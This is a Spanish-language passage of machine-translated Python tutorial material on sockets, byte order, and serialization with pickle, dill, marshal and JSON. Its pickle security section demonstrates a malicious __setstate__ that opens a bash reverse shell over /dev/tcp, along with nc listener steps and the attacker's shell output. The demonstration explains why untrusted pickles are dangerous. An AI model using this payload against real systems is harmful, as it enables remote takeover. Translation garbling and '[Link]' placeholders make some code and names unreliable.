Solicit Uso Recomendación
ud
Servido interfaz Utilice una dirección IP, como
r de bucle por 127.0.0.1ejemplo ::1.
invertido
Servido interfaz Utilice una dirección IP, como por
r Ethernet ejemplo [Link]. Para admitir más de una interfaz,
utilice una cadena vacía para todas las
interfaces/direcciones. Consulte la nota de seguridad
anterior.
Cliente interfaz Utilice una dirección IP, como
de bucle por 127.0.0.1ejemplo ::1.
invertido
Cliente interfaz Utilice una dirección IP para mayor coherencia y
Ethernet para no depender de la resolución de nombres. En la
mayoría de los casos, utilice un nombre de host.
Consulte la nota de seguridad anterior.
Para clientes o servidores, si necesita autenticar el host al que se está conectando, considere
usar TLS.
Llamadas bloqueadas
Una función o método de socket que suspende temporalmente la aplicación es una llamada
bloqueante. Por ejemplo, .accept()`get`, .connect()`get`, .send()`get`
y .recv()`get` se bloquean, lo que significa que no retornan inmediatamente. Las
llamadas bloqueantes deben esperar a que se completen las llamadas al sistema (E/S) antes
de poder devolver un valor. Por lo tanto, el usuario que realiza la llamada queda bloqueado
hasta que finalicen o se produzca un tiempo de espera agotado u otro error.
Las llamadas a sockets bloqueantes pueden configurarse para que no sean bloqueantes y
devuelvan el control inmediatamente. Si lo haces, tendrás que refactorizar o rediseñar tu
aplicación para que gestione la operación de socket cuando esté lista.
Dado que la llamada se devuelve inmediatamente, es posible que los datos no estén listos.
El receptor está esperando en la red y no ha tenido tiempo de completar su tarea. En ese
caso, el estado actual es el errnovalor [Link]. El modo no
bloqueante es compatible con .setblocking() .
Por defecto, los sockets siempre se crean en modo bloqueante. Consulte las notas sobre los
tiempos de espera de los sockets para obtener una descripción de los tres modos.
Cerrando conexiones
Un aspecto interesante de TCP es que es perfectamente legal que el cliente o el servidor
cierren su extremo de la conexión mientras el otro permanece abierto. Esto se conoce como
conexión «semiabierta». La aplicación decide si esto es conveniente o no; en general, no lo
es. En este estado, el extremo que ha cerrado su conexión ya no puede enviar datos, solo
recibirlos.
Este enfoque no es necesariamente recomendable, pero, a modo de ejemplo, HTTP utiliza
una cabecera denominada «Connection» que sirve para estandarizar cómo las aplicaciones
deben cerrar o mantener abiertas las conexiones. Para más detalles, consulte la sección 6.3
del RFC 7230, Protocolo de transferencia de hipertexto (HTTP/1.1): Sintaxis y
enrutamiento de mensajes .
Al diseñar y escribir tu aplicación y su protocolo de capa de aplicación, es recomendable
definir con antelación cómo se espera que se cierren las conexiones. A veces esto es obvio
y sencillo, otras veces requiere prototipos y pruebas iniciales. Depende de la aplicación y de
cómo se procesa el bucle de mensajes con los datos esperados.
Asegúrese siempre de cerrar los enchufes de manera oportuna una vez que hayan terminado
su trabajo.
Orden de bytes
Para obtener más información sobre cómo las distintas CPU almacenan el orden de bytes en
la memoria, consulte el artículo de Wikipedia sobre el orden de bytes (endianness) . Al
interpretar bytes individuales, esto no supone un problema. Sin embargo, al manejar varios
bytes que se leen y procesan como un único valor (por ejemplo, un entero de 4 bytes), es
necesario invertir el orden de bytes si la comunicación se realiza con una máquina que
utiliza un orden de bytes diferente.
El orden de bytes también es importante para las cadenas de texto representadas como
secuencias multibyte, como Unicode. A menos que siempre uses ASCII estricto y controles
las implementaciones del cliente y del servidor, probablemente te convenga más usar
Unicode con una codificación como UTF-8 o una que admita una marca de orden de bytes
(BOM) .
Es importante definir explícitamente la codificación utilizada en el protocolo de la capa de
aplicación. Esto se puede lograr exigiendo que todo el texto sea UTF-8 o utilizando una
cabecera «content-encoding» que especifique la codificación. De esta forma, se evita que la
aplicación tenga que detectar la codificación, lo cual conviene evitar siempre que sea
posible.
Esto se vuelve problemático cuando se trata de datos almacenados en archivos o bases de
datos y no hay metadatos disponibles que especifiquen su codificación. Al transferir los
datos a otro punto de destino, este deberá intentar detectar la codificación. Para más
información, consulte el artículo de Wikipedia sobre Unicode , que hace referencia al RFC
3629: UTF-8, un formato de transformación de ISO 10646 .
Sin embargo, el RFC 3629, el estándar UTF-8, recomienda prohibir las marcas de orden de
bytes (BOM) en los protocolos que utilizan UTF-8, pero analiza los casos en los que esto
podría no ser posible. Además, la gran restricción en los patrones posibles de UTF-8 (por
ejemplo, no puede haber bytes aislados con el bit más significativo activado) implica que
debería ser posible distinguir UTF-8 de otras codificaciones de caracteres sin depender de
la BOM. (Fuente)
La conclusión es que siempre debes almacenar la codificación utilizada para los datos que
maneja tu aplicación si esta puede variar. En otras palabras, intenta almacenar la
codificación como metadatos si no siempre es UTF-8 u otra codificación con BOM. Luego,
puedes enviar esa codificación en una cabecera junto con los datos para informar al
receptor de qué se trata.
El orden de bytes utilizado en TCP/IP es big-endian y se denomina orden de red. El orden
de red se utiliza para representar números enteros en las capas inferiores de la pila de
protocolos, como las direcciones IP y los números de puerto. El módulo socket de Python
incluye funciones que convierten números enteros entre el orden de bytes de red y el de
host, y viceversa.
Función Descripción
[Link](x) Convierte enteros positivos de 32 bits del orden de bytes de red al
orden de bytes del host. En máquinas donde el orden de bytes del host
es el mismo que el de la red, esta operación no tiene efecto; de lo
contrario, realiza un intercambio de 4 bytes.
[Link](x) Convierte enteros positivos de 16 bits del orden de bytes de red al
orden de bytes del host. En máquinas donde el orden de bytes del host
es el mismo que el de la red, esta operación no tiene efecto; de lo
contrario, realiza un intercambio de 2 bytes.
[Link](x) Convierte enteros positivos de 32 bits del orden de bytes del host al
orden de bytes de la red. En máquinas donde el orden de bytes del host
coincide con el de la red, esta operación no tiene efecto; de lo
contrario, realiza un intercambio de 4 bytes.
[Link](x) Convierte enteros positivos de 16 bits del orden de bytes del host al
orden de bytes de la red. En máquinas donde el orden de bytes del host
coincide con el de la red, esta operación no tiene efecto; de lo
contrario, realiza un intercambio de 2 bytes.
También puede utilizar el structmódulo para empaquetar y desempaquetar datos binarios
utilizando cadenas de formato:
import struct
network_byteorder_int = [Link](">H", 256)
python_int = [Link](">H", network_byteorder_int)[0]
La ">H"cadena de formato especifica que los datos se empaquetan como un entero corto
sin signo (2 bytes) en orden de bytes big-endian, lo cual es adecuado para la transmisión en
red. A continuación, se utiliza el mismo especificador de formato para desempaquetar los
datos binarios y convertirlos de nuevo en un entero de Python.
III. Serialización de datos en Python
El proceso de serialización es una forma de convertir una estructura de datos en una forma
lineal que pueda almacenarse o transmitirse a través de una red.
En Python, la serialización permite transformar una estructura de objeto compleja en un
flujo de bytes que se puede guardar en disco o enviar a través de una red. Este proceso
también se conoce como serialización (marshalling ). El proceso inverso, que convierte un
flujo de bytes de nuevo en una estructura de datos, se
llama deserialización o deserialización inversa (unmarshalling ).
La serialización tiene múltiples aplicaciones. Una de las más comunes es guardar el estado
de una red neuronal tras la fase de entrenamiento para poder utilizarlo posteriormente sin
necesidad de repetir el entrenamiento.
Python ofrece tres módulos diferentes en la biblioteca estándar que permiten serializar y
deserializar objetos:
1. El marshalmódulo
2. El jsonmódulo
3. El picklemódulo
Además, Python admite XML , que también se puede usar para serializar objetos.
Este marshalmódulo es el más antiguo de los tres mencionados. Su función principal es
leer y escribir el bytecode compilado de los módulos de Python, es decir, los .pycarchivos
que se obtienen cuando el intérprete importa un módulo de Python. Por lo tanto, aunque se
puede usar marshalpara serializar algunos objetos, no se recomienda.
Este jsonmódulo es el más reciente de los tres. Permite trabajar con archivos JSON
estándar. JSON es un formato muy práctico y ampliamente utilizado para el intercambio de
datos.
Existen varias razones para elegir el formato JSON : es legible por
humanos , independiente del idioma y más ligero que XML. Con este jsonmódulo,
puedes serializar y deserializar varios tipos estándar de Python.
bool
dict
int
float
list
string
tuple
None
El picklemódulo de Python es otra forma de serializar y deserializar objetos en Python.
Se diferencia del jsonmódulo en que serializa los objetos en formato binario, lo que
significa que el resultado no es legible para humanos. Sin embargo, también es más rápido
y funciona con muchos más tipos de Python de forma nativa, incluyendo objetos definidos
por el usuario.
Nota: De ahora en adelante, verá que los términos pickling y unpickling se utilizan para
referirse a la serialización y deserialización con el picklemódulo de Python.
En Python, existen varias formas de serializar y deserializar objetos. ¿Cuál deberías usar?
En resumen, no hay una solución universal. Todo depende de tu caso de uso.
Aquí tienes tres pautas generales para decidir qué enfoque utilizar:
1. No utilice ese marshalmódulo. Lo usa principalmente el intérprete, y la
documentación oficial advierte que los responsables del mantenimiento de Python
podrían modificar el formato de forma incompatible con versiones anteriores.
2. El jsonmódulo y XML son buenas opciones si necesitas interoperabilidad con
diferentes idiomas o un formato legible por humanos.
3. El picklemódulo de Python es una mejor opción para todos los demás casos de
uso. Si no necesita un formato legible por humanos o un formato interoperable
estándar, o si necesita serializar objetos personalizados, entonces use pickle.
Dentro del picklemódulo de Python
El picklemódulo de Python consta básicamente de cuatro métodos:
1. [Link](obj, file, protocol=None, *,
fix_imports=True, buffer_callback=None)
2. [Link](obj, protocol=None, *, fix_imports=True,
buffer_callback=None)
3. [Link](file, *, fix_imports=True, encoding="ASCII",
errors="strict", buffers=None)
4. [Link](bytes_object, *, fix_imports=True,
encoding="ASCII", errors="strict", buffers=None)
Los dos primeros métodos se utilizan durante el proceso de serialización, y los otros dos
durante el deserializado. La única diferencia entre ellos dump()es dumps()que el
primero crea un archivo con el resultado de la serialización, mientras que el segundo
devuelve una cadena.
Para diferenciarla dumps()de `f` dump(), conviene recordar que el `--` sal final del
nombre de la función significa `f` string. El mismo concepto se aplica a ` load()f` y
`g` loads(): la primera lee un archivo para iniciar el proceso de deserialización, y la
segunda opera sobre una cadena.
Consideremos el siguiente ejemplo. Supongamos que tenemos una clase definida a
medida example_classcon varios atributos diferentes, cada uno de un tipo distinto:
a_number
a_string
a_dictionary
a_list
a_tuple
El siguiente ejemplo muestra cómo instanciar la clase y serializar la instancia para obtener
una cadena de texto sin formato. Tras serializar la clase, se puede modificar el valor de sus
atributos sin afectar a la cadena serializada. A continuación, se puede deserializar la cadena
serializada en otra variable , restaurando así una copia exacta de la clase serializada
previamente.
# [Link]
import pickle
class example_class:
a_number = 35
a_string = "hey"
a_list = [1, 2, 3]
a_dict = {"first": "a", "second": 2, "third": [1, 2, 3]}
a_tuple = (22, 23)
my_object = example_class()
my_pickled_object = [Link](my_object) # Pickling the object
print(f"This is my pickled object:\n{my_pickled_object}\n")
my_object.a_dict = None
my_unpickled_object = [Link](my_pickled_object) # Unpickling the object
print(
f"This is a_dict of the unpickled object:\n{my_unpickled_object.a_dict}\n")
En el ejemplo anterior, se crean varios objetos diferentes y se serializan pickle. Esto
produce una única cadena con el resultado serializado:
$ python [Link]
This is my pickled object:
b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'
This is a_dict of the unpickled object:
{'first': 'a', 'second': 2, 'third': [1, 2, 3]}
El proceso de serialización finaliza correctamente, almacenando toda su instancia en esta
cadena: b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\
x01.'Después de que finaliza el proceso de serialización, modifica su objeto original
estableciendo el atributo a_dicten None.
Finalmente, se deserializa la cadena para obtener una instancia completamente nueva. El
resultado es una copia profunda de la estructura del objeto original tal como estaba cuando
comenzó el proceso de serialización.
Formatos de protocolo del picklemódulo Python
Como se mencionó anteriormente, el picklemódulo es específico de Python, y el
resultado del proceso de serialización solo puede ser leído por otro programa de Python.
Pero incluso si trabajas con Python, es importante saber que el picklemódulo ha
evolucionado con el tiempo.
Esto significa que si has serializado un objeto con una versión específica de Python, es
posible que no puedas deserializarlo con una versión anterior. La compatibilidad depende
de la versión del protocolo que hayas utilizado para la serialización.
Actualmente, el picklemódulo de Python puede usar seis protocolos diferentes. Cuanto
más reciente sea la versión del protocolo, más reciente deberá ser el intérprete de Python
para su deserialización.
1. La versión 0 del protocolo fue la primera versión. A diferencia de los
protocolos posteriores, es legible por humanos.
2. La versión 1 del protocolo fue el primer formato binario.
3. La versión 2 del protocolo se introdujo en Python 2.3.
4. La versión 3 del protocolo se añadió en Python 3.0. No se puede
deserializar con Python 2.x.
5. La versión 4 del protocolo se añadió en Python 3.4. Ofrece soporte
para una gama más amplia de tamaños y tipos de objetos y es el
protocolo predeterminado a partir de Python 3.8 .
6. La versión 5 del protocolo se añadió en Python 3.8. Incluye soporte
para datos fuera de banda y velocidades mejoradas para datos dentro
de banda.
Nota: Las versiones más recientes del protocolo ofrecen más funciones y mejoras, pero
están limitadas a versiones más recientes del intérprete. Tenga esto en cuenta al elegir el
protocolo que va a utilizar.
Para identificar el protocolo más alto que admite su intérprete, puede comprobar el valor
del pickle.HIGHEST_PROTOCOLatributo.
Para elegir un protocolo específico, debe especificar la versión del protocolo al invocar
`protocol` load(), loads()`protocol` dump()o `protocol` dumps(). Si no
especifica un protocolo, el intérprete utilizará la versión predeterminada especificada en
el pickle.DEFAULT_PROTOCOLatributo.
Tipos seleccionables y no seleccionables
Ya has aprendido que el picklemódulo de Python puede serializar muchos más tipos que
el jsonmódulo `[Link]`. Sin embargo, no todo es serializable. La lista de objetos no
serializables incluye conexiones a bases de datos, sockets de red abiertos, hilos en
ejecución, entre otros.
Si te encuentras con un objeto que no se puede deserializar, hay un par de cosas que puedes
hacer. La primera opción es usar una biblioteca de terceros como dill.
El dillmódulo amplía las capacidades de pickle. Según la documentación oficial ,
permite serializar tipos menos comunes como funciones con yields , funciones
anidadas , lambdas y muchos otros.
Para probar este módulo, puedes intentar serializar una lambdafunción:
# pickling_error.py
import pickle
square = lambda x : x * x
my_pickle = [Link](square)
Si intentas ejecutar este programa, obtendrás una excepción porque el picklemódulo de
Python no puede serializar una lambdafunción:
$ python pickling_error.py
Traceback (most recent call last):
File "pickling_error.py", line 6, in <module>
my_pickle = [Link](square)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x10cd52cb0>: attribute
lookup <lambda> on __main__ failed
Ahora intenta reemplazar el picklemódulo de Python con dillpara ver si hay alguna
diferencia:
# pickling_dill.py
import dill
square = lambda x: x * x
my_pickle = [Link](square)
print(my_pickle)
Si ejecutas este código, verás que el dillmódulo serializa el resultado lambdasin
devolver ningún error:
$ python pickling_dill.py
b'\x80\x03cdill._dill\n_create_function\nq\x00(cdill._dill\n_load_type\nq\x01X\x08\x00\
x00\x00CodeTypeq\x02\x85q\x03Rq\x04(K\x01K\x00K\x01K\x02KCC\x08|\x00|\x00\x14\
x00S\x00q\x05N\x85q\x06)X\x01\x00\x00\x00xq\x07\x85q\x08X\x10\x00\x00\
x00pickling_dill.pyq\tX\t\x00\x00\x00squareq\nK\x04C\x00q\x0b))tq\x0cRq\
rc__builtin__\n__main__\nh\nNN}q\x0eNtq\x0fRq\x10.'
Otra característica interesante es dillque incluso puede serializar una sesión completa del
intérprete. Aquí tienes un ejemplo:
>>> square = lambda x : x * x
>>> a = square(35)
>>> import math
>>> b = [Link](484)
>>> import dill
>>> dill.dump_session('[Link]')
>>> exit()
En este ejemplo, se inicia el intérprete, se importa un módulo y se define
una lambdafunción junto con un par de variables adicionales. A continuación, se
importa el dillmódulo y se invoca dump_session()para serializar toda la sesión.
Si todo va bien, debería aparecer un [Link] en su directorio actual:
$ ls [Link]
4 -rw-r--r--@ 1 dave staff 439 Feb 3 10:52 [Link]
Ahora puedes iniciar una nueva instancia del intérprete y cargar el [Link] para
restaurar tu última sesión:
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None),
('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None),
('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>)])
>>> import dill
>>> dill.load_session('[Link]')
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None),
('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None),
('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>), ('dill', <module
'dill' from '/usr/local/lib/python3.7/site-packages/dill/__init__.py'>), ('square', <function
<lambda> at 0x10a013a70>), ('a', 1225), ('math', <module 'math' from
'/usr/local/Cellar/python/3.7.5/Frameworks/[Link]/Versions/3.7/lib/
python3.7/lib-dynload/[Link]'>), ('b', 22.0)])
>>> a
1225
>>> b
22.0
>>> square
<function <lambda> at 0x10a013a70>
La primera globals().items()instrucción demuestra que el intérprete se encuentra en
su estado inicial. Esto significa que debe importar el dillmódulo y llamar al
método load_session()correspondiente para restaurar la sesión serializada del
intérprete.
Nota: Antes de usar dillen lugar de pickle, tenga en cuenta que dillno está incluido en
la biblioteca estándar del intérprete de Python y suele ser más lento que pickle.
Aunque dillpermite serializar una gama más amplia de objetos que pickle, no puede
resolver todos los problemas de serialización que puedas tener. Si necesitas serializar un
objeto que contiene una conexión a una base de datos, por ejemplo, te enfrentarás a
dificultades, ya que se trata de un objeto no serializable incluso para dill.
¿Cómo se puede solucionar este problema?
La solución en este caso consiste en excluir el objeto del proceso de serialización
y reinicializar la conexión después de que el objeto se haya deserializado.
Puedes usar este método __getstate__()para definir qué se debe incluir en el proceso
de serialización. Este método te permite especificar qué quieres serializar. Si no lo
modificas , se usará __getstate__()la instancia predeterminada ..__dict__
En el siguiente ejemplo, verá cómo puede definir una clase con varios atributos y excluir un
atributo de la serialización con __getstate()__:
# custom_pickling.py
import pickle
class foobar:
def __init__(self):
self.a = 35
self.b = "test"
self.c = lambda x: x * x
def __getstate__(self):
attributes = self.__dict__.copy()
del attributes['c']
return attributes
my_foobar_instance = foobar()
my_pickle_string = [Link](my_foobar_instance)
my_new_instance = [Link](my_pickle_string)
print(my_new_instance.__dict__)
En este ejemplo, se crea un objeto con tres atributos. Dado que uno de los atributos es un
valor booleano lambda, el objeto no se puede deserializar con el picklemódulo
estándar.
Para solucionar este problema, debes especificar qué se va a serializar __getstate__().
Primero clonas la __dict__instancia completa para tener todos los atributos definidos en
la clase y luego eliminas manualmente el catributo que no se puede serializar.
Si ejecutas este ejemplo y luego deserializas el objeto, verás que la nueva instancia no
contiene el catributo:
$ python custom_pickling.py
{'a': 35, 'b': 'test'}
Pero ¿qué ocurre si quieres realizar inicializaciones adicionales durante el proceso de
deserialización, por ejemplo, añadiendo el cobjeto excluido de nuevo a la instancia
deserializada? Puedes lograrlo con __setstate__():
# custom_unpickling.py
import pickle
class foobar:
def __init__(self):
self.a = 35
self.b = "test"
self.c = lambda x: x * x
def __getstate__(self):
attributes = self.__dict__.copy()
del attributes['c']
return attributes
def __setstate__(self, state):
self.__dict__ = state
self.c = lambda x: x * x
my_foobar_instance = foobar()
my_pickle_string = [Link](my_foobar_instance)
my_new_instance = [Link](my_pickle_string)
print(my_new_instance.__dict__)
Al pasar el cobjeto excluido a __setstate__(), te aseguras de que aparezca en
el .__dict__de la cadena deserializada.
Compresión de objetos en conserva
Aunque el pickleformato de datos es una representación binaria compacta de una
estructura de objeto, aún puede optimizar su cadena serializada comprimiéndola
con bzip2o gzip.
Para comprimir una cadena serializada con bzip2, puede utilizar el bz2módulo
proporcionado en la biblioteca estándar.
En el siguiente ejemplo, tomarás una cadena , la serializarás y luego la comprimirás usando
la bz2biblioteca:
>>> import pickle
>>> import bz2
>>> my_string = """Per me si va ne la città dolente,
... per me si va ne l'etterno dolore,
... per me si va tra la perduta gente.
... Giustizia mosse il mio alto fattore:
... fecemi la divina podestate,
... la somma sapienza e 'l primo amore;
... dinanzi a me non fuor cose create
... se non etterne, e io etterno duro.
... Lasciate ogne speranza, voi ch'intrate."""
>>> pickled = [Link](my_string)
>>> compressed = [Link](pickled)
>>> len(my_string)
315
>>> len(compressed)
259
Al utilizar la compresión, tenga en cuenta que los archivos más pequeños implican un
proceso más lento.
Problemas de seguridad con el picklemódulo de
Python
Ahora ya sabes cómo usar el picklemódulo para serializar y deserializar objetos en
Python. El proceso de serialización es muy práctico cuando necesitas guardar el estado de
tu objeto en el disco o transmitirlo a través de una red.
Sin embargo, hay algo más que debes saber sobre el picklemódulo de Python: no es
seguro. ¿Recuerdas la discusión sobre ` __setstate__()__init__`? Bueno, ese método
es genial para realizar más inicialización durante el proceso de deserialización, ¡pero
también se puede usar para ejecutar código arbitrario durante dicho proceso!
¿Qué puedes hacer, entonces, para reducir este riesgo?
Lamentablemente, no mucho. La regla general es nunca deserializar datos provenientes
de una fuente no confiable o transmitidos a través de una red insegura . Para
prevenir ataques de intermediario (man-in-the-middle) , es recomendable usar bibliotecas
como [nombre hmacde la biblioteca] para firmar los datos y garantizar que no hayan sido
alterados.
El siguiente ejemplo ilustra cómo desentrañar un archivo pickle manipulado podría exponer
su sistema a atacantes, incluso otorgándoles una shell remota funcional:
# [Link]
import pickle
import os
class foobar:
def __init__(self):
pass
def __getstate__(self):
return self.__dict__
def __setstate__(self, state):
# The attack is from [Link]
# The attacker is listening on port 8080
[Link]('/bin/bash -c
"/bin/bash -i >& /dev/tcp/[Link]/8080 0>&1"')
my_foobar = foobar()
my_pickle = [Link](my_foobar)
my_unpickle = [Link](my_pickle)
En este ejemplo, el proceso de deserialización se ejecuta __setstate__(), lo que
ejecuta un comando Bash para abrir un shell remoto a la 192.168.1.10máquina en el
puerto 8080.
Aquí te mostramos cómo puedes probar este script de forma segura en tu Mac o en tu
equipo Linux. Primero, abre la terminal y usa el nccomando para escuchar una conexión al
puerto 8080:
$ nc -l 8080
Esta será la terminal del atacante . Si todo funciona correctamente, el comando parecerá
quedarse colgado.
A continuación, abre otra terminal en el mismo ordenador (o en cualquier otro ordenador de
la red) y ejecuta el código Python anterior para desencriptar el código malicioso. Asegúrate
de cambiar la dirección IP en el código por la dirección IP de tu terminal atacante. En mi
ejemplo, la dirección IP del atacante es [Link].
Al ejecutar este código, la víctima expondrá una shell al atacante:
$ python [Link]
Si todo funciona correctamente, aparecerá una shell de Bash en la consola del atacante. Esta
consola ahora puede operar directamente en el sistema atacado:
$ nc -l 8080
bash: no job control in this shell
The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit [Link]
bash-3.2$
marshal— Serialización interna de objetos de Python
Este módulo contiene funciones que permiten leer y escribir valores de Python en formato
binario. El formato es específico de Python, pero independiente de la arquitectura del
sistema (por ejemplo, se puede escribir un valor de Python en un archivo en un PC,
transferir el archivo a un Mac y leerlo allí). Los detalles del formato no están documentados
a propósito; puede variar entre versiones de Python (aunque rara vez sucede).
Este no es un módulo de persistencia general. Para la persistencia y transferencia general de
objetos Python mediante llamadas RPC, consulte los módulos `pickle` pickley `pickle-
deserialize` shelve. Este marshalmódulo existe principalmente para permitir la lectura y
escritura del código pseudocompilado de los módulos Python en .pycarchivos. Por lo tanto,
los responsables del mantenimiento de Python se reservan el derecho de modificar el
formato de serialización de forma incompatible con versiones anteriores si fuera necesario.
El formato de los objetos de código no es compatible entre versiones de Python, incluso si
la versión del formato es la misma. La deserialización de un objeto de código en una
versión incorrecta de Python tiene un comportamiento indefinido. Si necesita serializar y
deserializar objetos Python, utilice el picklemódulo `pickle` en su lugar: el rendimiento es
comparable, se garantiza la independencia de versiones y `pickle` admite una gama de
objetos mucho más amplia que `marshal`.
Advertencia
Este marshalmódulo no está diseñado para ser seguro frente a datos erróneos o maliciosos.
Nunca deserialice datos recibidos de una fuente no confiable o no autenticada.
Existen funciones que leen/escriben archivos, así como funciones que operan con objetos
similares a bytes.
No todos los tipos de objetos de Python son compatibles; en general, este módulo solo
permite leer y escribir objetos cuyo valor sea independiente de una invocación concreta de
Python. Los siguientes tipos son compatibles:
Tipos numéricos: int, bool, float, complex.
Las cadenas ( str) y los objetos similares a bytes como se serializan
como bytes. bytearraybytes
Contenedores: tuple, list, set, frozenset, y (desde la versionversión 5), slice. Debe
entenderse que estos contenedores solo son compatibles si los valores que contienen
también lo son. Los contenedores recursivos son compatibles desde versionla
versión 3.
Los singletones None, Ellipsisy StopIteration.
codeobjetos, si allow_code es verdadero. Consulte la nota anterior sobre la
dependencia de la versión.
Cambios introducidos en la versión 3.4:
Se ha añadido la versión 3 del formato, que admite la serialización de listas,
conjuntos y diccionarios recursivos.
Se ha añadido la versión 4 del formato, que admite representaciones eficientes de
cadenas cortas.
Cambios en la versión 3.14:
Se agregó el formato versión 5, que permite serializar segmentos.
El módulo define estas funciones:
[Link] ( value , file , version = version , "/" , "* " , allow_code = True )
Escriba el valor en el archivo abierto. El valor debe ser de un tipo compatible. El archivo
debe ser un archivo binario con permisos de escritura .
Si el valor tiene (o contiene un objeto que tiene) un tipo no admitido, ValueErrorse genera
una excepción; además, se escribirán datos basura en el archivo. El objeto no se podrá leer
correctamente load(). Los objetos de código solo se admiten si `allow_code` es verdadero.
El argumento de versión indica el formato de datos que dumpse debe utilizar (véase más
abajo).
Genera un evento de auditoría [Link] con argumentos value, version.
Cambios en la versión 3.13: Se agregó el parámetro allow_code .
[Link] ( file , "/" , "* " , allow_code = True )
Lee un valor del archivo abierto y devuélvelo. Si no se encuentra un valor válido (por
ejemplo, porque los datos tienen un formato de serialización incompatible con una versión
diferente de Python), genera una EOFErrorexcepción ValueError. TypeErrorLos objetos de
código solo se admiten si `allow_code` es verdadero. El archivo debe ser un archivo
binario legible .
Genera un evento de auditoría [Link] sin argumentos.
Nota
Si se serializó un objeto que contiene un tipo no admitido con dump(), load()se
sustituirá Nonepor el tipo no [Link] en la versión 3.10: Esta llamada solía
generar un code.__new__evento de auditoría para cada objeto de código. Ahora genera un
único [Link] para toda la operación de carga.
Cambios en la versión 3.13: Se agregó el parámetro allow_code .
[Link] ( value , version = version , / , * , allow_code = True )
Devuelve el objeto de bytes que se escribiría en un archivo . El valor debe ser de un tipo
compatible. Genera una excepción si el valor tiene (o contiene un objeto que tiene) un tipo
no compatible. Los objetos de código solo se admiten si `allow_code` es
[Link](value, file)ValueError
El argumento de versión indica el formato de datos que dumpsse debe utilizar (véase más
abajo).
Genera un evento de auditoría [Link] con argumentos value, version.
Cambios en la versión 3.13: Se agregó el parámetro allow_code .
[Link] ( bytes , / , * , allow_code = True )
Convierte el objeto de tipo bytes a un valor. Si no se encuentra ningún valor válido,
genera EOFErroruna ValueErrorexcepción TypeError. Los objetos de código solo se
admiten si `allow_code` es verdadero. Los bytes adicionales en la entrada se ignoran.
Genera un evento de auditoría [Link] con argumento bytes.
Cambios en la versión 3.10: Esta llamada solía generar un code.__new__evento de
auditoría para cada objeto de código. Ahora genera un único [Link] para toda
la operación de carga.
Cambios en la versión 3.13: Se agregó el parámetro allow_code .
Además, se definen las siguientes constantes:
mariscal. Versión
Indica el formato que utiliza el módulo. La versión 0 es la primera versión histórica; las
versiones posteriores añaden nuevas funciones. Generalmente, una nueva versión se
convierte en la predeterminada cuando se lanza.
Versión Disponible Nuevas funciones
desde
1 Python 2.4 Compartir cadenas internas
2 Python 2.5 Representación binaria de números de punto flotante
3 Python 3.4 Compatibilidad con la instanciación de objetos y la
recursión.
4 Python 3.4 Representación eficiente de cadenas cortas
5 Python 3.14 Soporte para sliceobjetos
Notas al pie
El nombre de este módulo proviene de la terminología empleada por los
diseñadores de Modula-3 (entre otros), quienes utilizan el término
«serialización» para referirse al envío de datos de forma autocontenida.
Estrictamente hablando, «serializar» significa convertir datos de un formato
interno a uno externo (por ejemplo, en un búfer RPC), y «deserializar» el
proceso inverso.
Presentamos JSON
El módulo `json` de Python jsonte proporciona las herramientas necesarias para manejar
datos JSON de forma eficaz. Puedes convertir tipos de datos de Python a cadenas con
formato JSON con `[Link]()` [Link]()o escribirlos en archivos con
`[Link] [Link]()()`. Del mismo modo, puedes leer datos JSON de archivos con
`[Link]()` [Link]()y analizar cadenas JSON con `[Link]() [Link]()`.
JSON, o Notación de Objetos de JavaScript, es un formato de texto muy utilizado para el
intercambio de datos. Su sintaxis se asemeja a la de los diccionarios de Python, pero con
algunas diferencias, como el uso exclusivo de comillas dobles para cadenas de texto y
minúsculas para valores booleanos. Gracias a sus herramientas integradas para validar la
sintaxis y manipular archivos JSON, Python facilita el trabajo con este tipo de datos.
Al finalizar este tema, comprenderás que:
En Python, JSON se maneja utilizando el módulo de la biblioteca estándarjson ,
que permite el intercambio de datos entre JSON y tipos de datos de Python.
JSON es un buen formato de datos para usar con Python, ya que es legible por
humanos y sencillo de serializar y deserializar , lo que lo hace ideal para su uso
en API y almacenamiento de datos .
Se escribe JSON con Python usando [Link]()para serializar datos a un archivo.
Puedes minimizar y formatear JSON usando [Link] módulo de Python.
Desde su introducción, JSON se ha consolidado rápidamente como el estándar
predominante para el intercambio de información. Tanto si se desea transferir datos
mediante una API como almacenar información en una base de datos documental , es
probable que se utilice JSON. Afortunadamente, Python proporciona herramientas robustas
para facilitar este proceso y ayudar a gestionar los datos JSON de forma eficiente.
Si bien JSON es el formato más común para la distribución de datos, no es la única opción.
Tanto XML como YAML cumplen funciones similares. Si te interesa conocer las
diferencias entre estos formatos, puedes consultar el tutorial sobre cómo serializar datos
con Python .
Bonificación gratuita: Haz clic aquí para descargar el código de ejemplo gratuito que
te muestra cómo trabajar con datos JSON en Python.
Haz el cuestionario:Pon a prueba tus conocimientos con nuestro cuestionario interactivo
“Trabajar con datos JSON en Python”. Recibirás una puntuación al finalizar para ayudarte a
seguir tu progreso de aprendizaje:
Cuestionario interactivo
Trabajar con datos JSON en Python
En este cuestionario, pondrás a prueba tus conocimientos
sobre el trabajo con JSON en Python. Al completarlo,
repasarás conceptos clave relacionados con la
manipulación y el manejo de datos JSON en Python.
Presentamos JSON
El acrónimo JSON significa JavaScript Object Notation (Notación de Objetos de
JavaScript ). Como su nombre indica, JSON se originó en JavaScript . Sin embargo, JSON
ha trascendido sus orígenes hasta convertirse en un estándar independiente del lenguaje y
ahora se reconoce como el estándar para el intercambio de datos .
La popularidad de JSON se debe a su compatibilidad nativa con el lenguaje JavaScript, lo
que se traduce en un excelente rendimiento de análisis sintáctico en los navegadores web.
Además, la sintaxis sencilla de JSON permite que tanto personas como ordenadores lean y
escriban datos JSON sin esfuerzo.
Para tener una primera impresión de JSON, eche un vistazo a este ejemplo de código:
hello_world.json
{
"greeting": "Hello, world!"
}
Aprenderás más sobre la sintaxis JSON más adelante en este tutorial. Por ahora, ten en
cuenta que el formato JSON se basa en texto . En otras palabras, puedes crear archivos
